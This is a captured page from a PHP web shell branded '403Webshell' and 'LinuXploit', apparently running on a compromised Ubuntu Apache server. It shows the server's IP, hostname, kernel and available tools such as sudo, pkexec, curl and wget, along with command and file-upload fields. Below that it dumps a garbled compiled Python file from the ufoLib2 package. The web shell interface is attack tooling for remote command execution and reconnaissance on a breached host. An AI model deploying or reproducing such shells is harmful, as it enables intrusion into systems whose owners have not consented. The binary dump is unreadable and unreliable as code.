403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/ufoLib2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/ufoLib2/__pycache__/converters.cpython-310.pyc
o

��b��@sddlmZddlZddlmZddlmZmZmZm	Z	m
Z
ddlmZm
Z
mZddlmZddlmZmZmZmZddlmZejdd	�d
kZerQd'dd�ZnddlmZgd�Zd(dd�Zd(dd�Zd(dd�Zd(dd�Zd)d*d"d#�Z eddd$d%�Z!e e!d$d&�e!j"Z"e!j#Z#dS)+�)�annotationsN)�partial)�Any�Callable�Tuple�Type�cast)�fields�has�
resolve_types)�GenConverter)�AttributeOverride�make_dict_structure_fn�make_dict_unstructure_fn�override)�	Transform�)���cl�	Type[Any]�returnrcCst|dd�S)N�
__origin__)�getattr)r�r�4/usr/lib/python3/dist-packages/ufoLib2/converters.py�
get_originsr)r)�register_hooks�	structure�unstructure�cls�boolcCst|dd�}|�d�ddkS)N�
__module__��.r�ufoLib2)r�split)r �modrrr�is_ufoLib2_class#sr(cCst|�o
t|�p
tt|��S�N)r(r
r�r rrr�is_ufoLib2_attrs_class(�r+cC�t|�ot|d�S)N�_unstructure�r(�hasattrr*rrr�(is_ufoLib2_class_with_custom_unstructure,�r1cCr-)N�
_structurer/r*rrr�&is_ufoLib2_class_with_custom_structure0r2r4T�convr�allow_bytes�Nonecs�d"�fd	d
�}d#�fdd�}d#�fd
d�}d$dd�}��tt|tdd����t|���tttt�|���	tt|t
dd����	t|�|smddlm
�m�d%�fdd�}d&�fd d!�}��t|���t|�dSdS)'Nr r�gen_fn�#Callable[..., Callable[[Any], Any]]�structuringr!r�Callable[[Any], Any]c	s�t|�}|dur
|}t|�}t|�i}|r!�j|d<�j|d<n�j|d<|D]:}|j�jvr7�j|j}n&t|j	�
d|jdupBd�|j	�
d|jddkrU|jdd�nd�|j
d	�}|||j<q(||�fi|��S)
N�_cattrs_forbid_extra_keys� _cattrs_prefer_attrib_converters�_cattrs_omit_if_default�omit_if_default�rename_attrr�_�)r?�rename�omit)rr	r�forbid_extra_keys�_prefer_attrib_convertersr?�type�type_overridesr�metadata�get�default�name�init)r r8r:�base�attribs�kwargs�a�attrib_override�r5rr�attrs_hook_factory5s0

� ��	z*register_hooks.<locals>.attrs_hook_factoryc�t|j�d�S�N)�	converter)rr.r*rSrr�custom_unstructure_hook_factory^�z7register_hooks.<locals>.custom_unstructure_hook_factorycrUrV)rr3r*rSrr�custom_structure_hook_factoryarYz5register_hooks.<locals>.custom_structure_hook_factory�tr�Tuple[float]cSstttt|��Sr))rr�float�tuple)r[rrr�unstructure_transformdr2z-register_hooks.<locals>.unstructure_transformF)r8r:Tr)�	b64decode�	b64encode�v�bytes�strcs|r	�|��d�Sd�d�S)N��utf8)�decode)rb)rarr�unstructure_bytesr,z)register_hooks.<locals>.unstructure_bytesrArcs�|�Sr)r)rbrA)r`rr�structure_bytes�sz'register_hooks.<locals>.structure_bytes)r rr8r9r:r!rr;)r rrr;)r[rrr\)rbrcrrd)rbrdrArrrc)�!register_unstructure_hook_factoryr+rrr1�register_unstructure_hookrrr�register_structure_hook_factoryrr4�base64r`rarc�register_structure_hook)r5r6rTrXrZr_rhrir)r`rar5rr4s<)
������rF)r?rE�prefer_attrib_converters)r6)rrrr)r rrr!)T)r5rr6r!rr7)$�
__future__r�sys�	functoolsr�typingrrrrr�attrr	r
r�cattrr�	cattr.genr
rrr�fontTools.misc.transformr�version_info�is_py37r�__all__r(r+r1r4r�default_converterrrrrrr�<module>s4



U�


Youez - 2016 - github.com/yon3zu
LinuXploit